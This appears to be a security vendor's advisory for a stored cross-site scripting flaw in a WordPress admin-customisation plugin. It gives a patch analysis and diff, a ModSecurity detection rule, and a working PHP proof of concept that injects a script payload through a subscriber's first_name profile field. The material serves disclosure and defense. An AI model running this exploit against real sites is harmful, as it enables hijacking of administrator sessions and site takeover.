Published : November 20, 2026

CVE-2026-107747: WP Custom Admin Interface <= 7.43 Authenticated (Subscriber+) Stored Cross-Site Scripting via User Profile 'first_name'/'last_name' Fields PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 7.43
Patched Version 7.44
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-107747: The WP Custom Admin Interface plugin for WordPress is vulnerable to authenticated stored cross-site scripting via the user profile first_name and last_name fields. This affects all versions up to and including 7.43. A subscriber-level attacker can inject arbitrary JavaScript into the admin interface. The CVSS score is 6.4, and the vulnerability is classified as CWE-79.

The root cause lies in the function wp_custom_admin_interface_user_and_role_selection (approximate name, based on the diff context) located in the main plugin file wp-custom-admin-interface.php. The function retrieves the user’s first_name and last_name from get_userdata() without sanitizing them. It then builds a string, $outputOfUsersAndRolesSelection, by concatenating ‘User: ‘ with the display name (constructed from first and last names) and the user ID, separated by commas. Although esc_html() is applied to the display name in the vulnerable version, this is insufficient because the string is later placed inside an HTML attribute (data) without proper escaping. Specifically, the output is built as

. The esc_html() function escapes for HTML context but not for attribute context, allowing an attacker to break out of the attribute by injecting a double quote and closing the tag. Moreover, the display name is not sanitized before esc_html(), so an attacker can include script tags or event handlers. The patch changes the output to JSON encoded with wp_json_encode and escaped with esc_attr, and it sanitizes the names with wp_strip_all_tags and html_entity_decode.

An attacker with subscriber-level access can exploit this by setting their first_name or last_name profile fields to a malicious payload, such as “”>alert(1)”. This payload is stored in the database. When an administrator accesses the plugin settings page that includes the vulnerable function (likely the page that renders the user and role selection list), the payload is output unescaped in the data attribute of the div with id combinedListOfUsersAndRoles. The browser will interpret the injected HTML and execute the script. The attack requires the victim to visit the specific admin page where the vulnerable output is rendered. The endpoint is the admin page for the plugin, probably accessible via wp-admin/admin.php?page=wp-custom-admin-interface or similar. The parameter used for the injection is the user profile field, which can be set via the WordPress profile update form (wp-admin/profile.php) or via the REST API.

The patch in version 7.44 fixes the vulnerability by changing the way the user and role list is output. The vulnerable code concatenated the display name into a data attribute without proper escaping. The patched code builds an array of items, each with a value and label, and outputs it as JSON using wp_json_encode and esc_attr. This ensures that special characters are properly escaped for attribute context, preventing injection. Additionally, the patch sanitizes the user display name using wp_strip_all_tags and html_entity_decode, converting it to plain text before output. The roles are also sanitized with wp_strip_all_tags and html_entity_decode. This removes any HTML markup and decodes entities, ensuring that the values are safe. The patch also adds a nonce check on the delete transients function and fixes a typo in the condition for checking empty names (was using $userFirstName twice instead of $userLastName). Overall, the fix changes the output to a JSON-encoded string with attribute escaping, and it sanitizes the input before output.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to session hijacking, creation of new admin accounts, modification of plugin settings, or redirection to malicious sites. The attacker can perform any action the administrator can perform, including installing plugins, changing themes, or executing arbitrary code via the plugin editor. The stored nature of the XSS means that the payload persists and executes whenever an admin views the affected page. This is a serious threat to site integrity and confidentiality. Subscribers are the minimum required role, but the impact is elevated because the script runs with admin privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-custom-admin-interface/wp-custom-admin-interface.php
+++ b/wp-custom-admin-interface/wp-custom-admin-interface.php
@@ -4,7 +4,7 @@
 *		Plugin Name: WP Custom Admin Interface
 *		Plugin URI: https://www.northernbeacheswebsites.com.au
 *		Description: Customise the WordPress admin and login interfaces and customize the WordPress dashboard menu.
-*		Version: 7.43
+*		Version: 7.44
 *		Author: Martin Gibson
 *		Developer: Northern Beaches Websites
 *		Developer URI:  https://www.northernbeacheswebsites.com.au
@@ -1721,7 +1721,7 @@
 */
 function wp_custom_admin_interface_delete_transients() {

-    if( current_user_can( 'manage_options') ){
+    if( current_user_can( 'manage_options') && array_key_exists('noonce', $_POST) ){

         $noonce = sanitize_text_field( $_POST['noonce'] );
         $noonce_check = wp_verify_nonce( $noonce, 'delete_transients' );
@@ -1849,7 +1849,9 @@
     $html = '<tr valign="top"><td scope="row" colspan="2">';


-    $outputOfUsersAndRolesSelection = '';
+    //build a list of users and roles which is passed to the javascript as JSON
+    //values are treated as plain text on the client side and are never parsed as HTML
+    $outputOfUsersAndRolesSelection = array();

     //lets get the users
     global $wpdb;
@@ -1863,21 +1865,29 @@

     foreach($wp_custom_admin_interface_original_user_listing as $value){

-        $userId = $value->ID;
+        $userId = intval($value->ID);
         $userInfo = get_userdata($userId);

-        $userFirstName = $userInfo->first_name;
-        $userLastName = $userInfo->last_name;
-        //we need to first unserialize the array, then get just the keys of the array and then implode it into a comma string
-        $userRole = implode(', ',$userInfo->roles);
+        if(!$userInfo){
+            continue;
+        }
+
+        $userFirstName = (string) $userInfo->first_name;
+        $userLastName = (string) $userInfo->last_name;

-        if(strlen($userFirstName)<1 && strlen($userFirstName)<1) {
+        if(strlen($userFirstName)<1 && strlen($userLastName)<1) {
             $userDisplayName = $userInfo->user_login;
         } else {
-            $userDisplayName = $userFirstName.' '.$userLastName;
+            $userDisplayName = trim($userFirstName.' '.$userLastName);
         }

-        $outputOfUsersAndRolesSelection .= 'User: '.esc_html($userDisplayName).'('.intval($userId).'),';
+        //strip any markup and decode entities so the value is plain text; it is output as text on the client
+        $userDisplayName = wp_strip_all_tags( html_entity_decode( $userDisplayName, ENT_QUOTES, 'UTF-8' ) );
+
+        $outputOfUsersAndRolesSelection[] = array(
+            'value' => (string) $userId,
+            'label' => 'User: '.$userDisplayName,
+        );

     }

@@ -1885,11 +1895,15 @@
     //lets get the roles
     global $wp_roles;
     foreach ( $wp_roles->roles as $key=>$value ){
-        $outputOfUsersAndRolesSelection .= 'Role: '.$value['name'].',';
+        $roleName = wp_strip_all_tags( html_entity_decode( (string) $value['name'], ENT_QUOTES, 'UTF-8' ) );
+        $outputOfUsersAndRolesSelection[] = array(
+            'value' => $roleName,
+            'label' => 'Role: '.$roleName,
+        );
     }

-    $html .= '<div id="combinedListOfUsersAndRoles" data="';
-    $html .= $outputOfUsersAndRolesSelection;
+    $html .= '<div id="combinedListOfUsersAndRoles" data-items="';
+    $html .= esc_attr( wp_json_encode( $outputOfUsersAndRolesSelection ) );
     $html .= '"></div><div id="outputOfUsersAndRolesSelection" data=""></div><input style="display:none;" class="wp_custom_admin_interface_settings_input saved_exception_cases" type="text" name="'.$optionName.'[';

     $html .= $existingExceptionCases;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-107747
SecRule REQUEST_URI "@streq /wp-admin/profile.php" "id:20261077,phase:2,deny,status:403,chain,msg:'CVE-2026-107747 via profile update first_name/last_name',severity:'CRITICAL',tag:'CVE-2026-107747'"
  SecRule ARGS_POST:first_name "@rx <script|onerror|onload|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain"
    SecRule ARGS_POST:last_name "@rx <script|onerror|onload|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-107747 - WP Custom Admin Interface <= 7.43 - Authenticated (Subscriber+) Stored Cross-Site Scripting via User Profile 'first_name'/'last_name' Fields

$target_url = 'http://example.com'; // Change to your WordPress site URL
$subscriber_username = 'subscriber'; // Change to a subscriber account username
$subscriber_password = 'password'; // Change to the password

// Step 1: Log in as subscriber to obtain authentication cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Login failed: ' . curl_error($ch));
}
curl_close($ch);

// Step 2: Update the subscriber's profile with a malicious first_name payload
// The payload breaks out of the data attribute and injects a script. Payload: "><script>alert(document.cookie)</script>
$payload = '"><script>alert(document.cookie)</script>';
$profile_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'update',
    'user_id' => 2, // Assuming the subscriber user ID is 2; adjust if needed
    'first_name' => $payload,
    'last_name' => 'Doe',
    'email' => 'subscriber@example.com',
    'nickname' => $subscriber_username,
    'display_name' => $subscriber_username,
    'submit' => 'Update Profile'
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Profile update failed: ' . curl_error($ch));
}
curl_close($ch);

// The XSS will trigger when an admin visits the plugin page that outputs the user list.
// Typically: /wp-admin/admin.php?page=wp-custom-admin-interface
// For testing, we just confirm the payload was saved.
echo "Exploit completed. The stored XSS payload will execute when an administrator views the plugin settings page.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.